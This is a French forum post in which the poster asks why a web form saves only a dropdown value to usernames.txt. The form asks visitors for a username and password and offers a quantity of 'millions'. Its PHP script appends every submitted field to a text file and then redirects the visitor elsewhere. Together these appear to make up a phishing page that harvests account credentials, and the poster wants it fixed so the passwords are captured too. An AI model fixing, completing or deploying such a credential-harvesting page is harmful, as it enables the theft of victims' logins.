Inscrire des données dans un fichier txt

Bonjour,
Bonjour, je cherche à inscrire dans un fichier txt hébergé sur mon serveur ftp , les données qui seront entrées dans un formulaire d'une de mes pages web également sur mon ftp .
Le problème est que la seule données qui s'inscris , est la fonction et je souhaiterais , inscrire les autres , comment faire ?


code source de l'index :

<center><img src="http://up.sur-la-toile.com/i7I1" </img></center>
<center>
<FORM method=post value=connexion action="post.php">

<TABLE BORDER=0>
<TR>
	<TD>Pseudo</TD>
	<TD><name="fonction">
	<INPUT type=text value="login" username="pseudo">
	</TD>
</TR>

<TR>
	<TD>Mot de passe</TD>
	<TD><name=fonction>
	<INPUT type=text Value="password" password="mot de passe">
	</TD>
</TR>


<TR>
	<TD>Quantité</TD>
	<TD>
	<SELECT name="fonction">
		<OPTION VALUE="1 million">1 million</OPTION>
		<OPTION VALUE="10 millions">10 millions</OPTION>
		<OPTION VALUE="20 millions">20 millions</OPTION>
		<OPTION VALUE="100 millions">100 millions</OPTION>
		<OPTION VALUE="500 millions">500 millions</OPTION>
	</SELECT>
	</TD>
</TR>

<TR>
	<TD COLSPAN=2>
	<INPUT type="submit" value="Envoyer">
	</TD>
</TR>
</TABLE>
</FORM>
</center>

code source post.php :

<?php
header ('Location: http://REdirection.com/');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

donc voila les données rentrées sont censées s'inscrirent dans usernames.txt .
Cependant il n'y a que celle de cette partie qui s'inscris :

<TD>Quantité</TD>
	<TD>
	<SELECT name="fonction">
		<OPTION VALUE="1 million">1 million</OPTION>
		<OPTION VALUE="10 millions">10 millions</OPTION>
		<OPTION VALUE="20 millions">20 millions</OPTION>
		<OPTION VALUE="100 millions">100 millions</OPTION>
		<OPTION VALUE="500 millions">500 millions</OPTION>
	</SELECT>
	</TD>
</TR>

Voila comment faire pour que les autres données soit également prises en comptes ?
Merci